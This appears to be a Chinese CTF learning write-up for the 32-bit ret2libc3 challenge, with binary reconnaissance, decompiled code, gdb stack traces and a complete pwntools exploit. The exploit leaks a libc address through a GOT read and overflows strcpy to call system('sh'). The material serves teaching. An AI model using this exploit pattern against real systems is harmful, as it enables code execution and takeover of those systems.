pwn学习-ret2libc3

一、题目
题目:ret2libc3
题目描述:aslr开启,通过函数功能泄露system@got的值(真实函数地址)

题目须打开地址随机化alsr
echo 2 > /proc/sys/kernel/randomize_va_space
二、WriteUp
1. 信息收集 
checksec ret2lib3
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

file ret2libc3
ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c74b2683d6d3b99439c3e04d6d81b233e6a3b1b6, not stripped

ldd ret2libc3 
	linux-gate.so.1 (0xf680c000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf6400000)
	/lib/ld-linux.so.2 (0xf680e000)
3.ida+F5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char **v3; // ST04_4
  int v4; // ST08_4
  char src; // [esp+12h] [ebp-10Eh]
  char buf; // [esp+112h] [ebp-Eh]
  int v8; // [esp+11Ch] [ebp-4h]

  puts("###############################");
  puts("Do you know return to library ?");
  puts("###############################");
  puts("What do you want to see in memory?");
  printf("Give me an address (in dec) :");
  fflush(stdout);         //清理标准输出缓冲区
  read(0, &buf, 0xAu);    //可能溢出函数 0xAu的u代表无符号 0xA只有10字节 故不可利用
  v8 = strtol(&buf, v3, v4); //str to long 类型转换 把字符串"1"转换成0x1存入内存
  See_something(v8);  //打印地址
  printf("Leave some message for me :");
  fflush(stdout);
  read(0, &src, 0x100u); //可能溢出函数
  Print_message(&src);
  puts("Thanks you ~");
  return 0;
}
int __cdecl See_something(_DWORD *a1)
{
  return printf("The content of the address : %p\n", *a1);
}
int __cdecl Print_message(char *src)
{
  char dest; // [esp+10h] [ebp-38h] //局部变量在栈上

  strcpy(&dest, src);//可能溢出函数
  return printf("Your message is : %s", &dest);
}
# strtol函数
long int strtol(const char *str, char **endptr, int base);
str:要转换的字符串
endptr:指向一个指针的指针,用于存储第一个无效字符的地址
base:进制,可以是2到36之间的任意值,或者0(表示根据情况自动判断进制)
函数会从str开始的位置解析一个长整型数值,直到遇到非数字或者非进制字符为止,并将其转换为长整型数值。如果endptr不是NULL,则会将解析过程中第一个无效字符的地址存储到endptr指向的地址中。strtol函数支持正负号、前缀0x或0X表示十六进制数、前缀0表示八进制数等。

# strcpy函数
strcpy函数是C语言中的一个字符串处理函数,用于将一个字符串复制到另一个字符串中。其原型为:
char* strcpy(char* destination, const char* source);
其中destination是目标字符串的指针,source是源字符串的指针。strcpy函数会将源字符串复制到目标字符串中,直到遇到源字符串的\0结束符为止。需要注意的是,strcpy函数不会检查目标字符串的长度,因此在使用时要确保目标字符串足够大,以避免发生缓冲区溢出的情况。
3. 运行测试
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :1
Segmentation fault (core dumped)
根据提示,需要输入一个十进制的数,如果输入的不是一个合法的内存地址,就会出现段错误

printf("The content of the address : %p\n", *a1); 

因为*a1表示取出指针a1所指向的地址的内容,然后使用%p格式化符打印这个内容的地址。但是在这里,*a1是一个指针,如果不是一个合法的地址,所以会导致段错误。如果要打印指针a1所指向的地址,应该直接使用a1而不是*a1。
在python命令行下
$python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x0804857D
134514045
###############################
Do you know return to library ?
###############################
What do you want to see in memory?
Give me an address (in dec) :134514045
The content of the address : 0x83e58955
Leave some message for me :1
Your message is : 1
����Thanks you ~
4. gdb ret2libc3
b main
r
n
134514045
n
AAAABBBBCCCCDDDD
# 第二次read处
04:0010│ ecx-2 0xffffcf10 ◂— 0x4141cf64
05:0014│-114   0xffffcf14 ◂— 'AABBBBCCCCDDDD\n'
06:0018│-110   0xffffcf18 ◂— 'BBCCCCDDDD\n'
07:001c│-10c   0xffffcf1c ◂— 'CCDDDD\n'

4a:0128│ ebp   0xffffd028 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
4b:012c│+004   0xffffd02c —▸ 0xf7c21519 (__libc_start_call_main+121) ◂— add esp, 0x10
ebp地址 - 114地址 = 0xffffd028 - 0xffffcf14 + 0x8 = 0d280(0x11C)字节 垃圾数据
大于read(0, &src, 0x100u);的0x100字节 无法进行溢出
继续gdb调试
s # print_message
n
# strcpy处
04:0010│ eax   0xffffcec0 ◂— 'AAAABBBBCCCCDDDD\n'
05:0014│-034   0xffffcec4 ◂— 'BBBBCCCCDDDD\n'
06:0018│-030   0xffffcec8 ◂— 'CCCCDDDD\n'
07:001c│ edx-2 0xffffcecc ◂— 'DDDD\n'

12:0048│ ebp   0xffffcef8 —▸ 0xffffd028 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
13:004c│+004   0xffffcefc —▸ 0x8048657 (main+218) ◂— mov dword ptr [esp], 0x80487d5
ebp地址 - eax地址 = 0xffffcef8 - 0xffffcec0 + 0x4 = 0d60(0x3C) 垃圾数据
可以进行溢出
5. payload
在C语言中,*和&符号分别表示指针和地址操作符。
*:在C语言中,*用来声明一个指针变量,也用来访问指针所指向的变量的值。例如,int *ptr声明了一个指向整数变量的指针,*ptr表示指针ptr所指向的整数变量的值。
&&用来获取变量的地址。例如,int a = 10&a表示变量a的地址。

# 此函数功能能将函数@got存入的函数真正地址泄露出来
printf("The content of the address : %p\n", *a1); 
# 通过这种方式获得地址可以让我们绕过aslr以及不同机器上加载不同的动态库的地址
0d60字节 垃圾数据
system@got 返回地址 # plt表中无system 此时只能去找system的真正地址
4字节   垃圾数据
sh地址              # 如果没有/bin/sh 我们可以直接运行sh
6. exp
from pwn import *

io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

io.sendlineafter(b" :",str(elf.got["puts"])) # 当收到" :"时发送数据 
io.recvuntil(b" : ") # 接收数据直到这个字符串 The content of the address 这样以后接收到的数据就是puts的真实地址
puts_addr = io.recvuntil(b"\n",drop = True) # drop是去掉字符"\n" 
libcBase = int(puts_addr,16) - libc.symbols["puts"]  # 计算的是两个函数加载之间的偏移 //16进制数
system_addr = libcBase + libc.symbols["system"]

payload = flat(cyclic(60),p32(system_addr),0xdeadbeef,next(elf.search(b"sh\x00")))
# cyclic(60) b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'
io.sendlineafter(b" :",payload)
io.interactive()
三、总结
  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值